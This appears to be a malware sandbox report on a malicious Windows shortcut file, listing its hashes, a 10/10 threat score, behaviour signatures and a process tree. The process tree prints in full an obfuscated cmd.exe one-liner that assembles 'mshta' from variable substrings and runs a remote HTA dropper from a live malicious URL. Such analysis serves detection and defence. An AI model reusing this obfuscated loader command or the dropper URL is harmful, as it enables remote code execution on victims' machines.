Analysis
- max time kernel
58s - max time network
60s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
22/08/2026, 03:46
Static task
static1
Behavioral task
behavioral1
Sample
DOC-8CVTK8.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-8CVTK8.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-8CVTK8.lnk
- Size 2KB
- Sample260822-eb24xa1arb
- SHA256 d2e47f8affac05570ac55368402e94b70f5e2bb38df04388278f7661ba40a35a
- MD5 adb3c7912055debcbb758f472684c600
- SHA1 1df7d86304bd7013a363ba955a4a2902b0b5dcaf
- SHA512 b8ef7777b62200b9e1f848056866a925a795aebd1b971bbf9dd4dc2a0e25c9a343a7aceaae0eabedacd93e1e1d21e412e1a4512c658b066d636a5965475bff00
- TLSH T17C4167446AE90198F3FB8E72ECBE670009BB78615DB0C69D0841820D5422B02E577B63
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1304 cmd.exe 4020 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1304 wrote to memory of 4020 1304 cmd.exe 87 PID 4020 wrote to memory of 3780 4020 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-8CVTK8.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set HyH=inflibeytainf&&set kqtI=l73sfdx&&set Zf=pl1tuk&&set gbF=lmvart8&&set JJhVx=b3mszoe&&set cS=lihv&&set AU=lmtay&&set Si=oldbqcxlysneold&&set rl=winzwalfjtkggocwin&&set uxiR=winqtjrpyuennriavewin&&set YtaEU=netzjvwojqyjevvunet&&set WbN=https@:@//ma@-@pdf@fi@ll@[email protected]/@h/estag@io1.@php@?@r=391469FB5D8@2DB&&start /b !JJhVx:~2,2!!cS:~2,1!!AU:~2,2! !WbN:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3780
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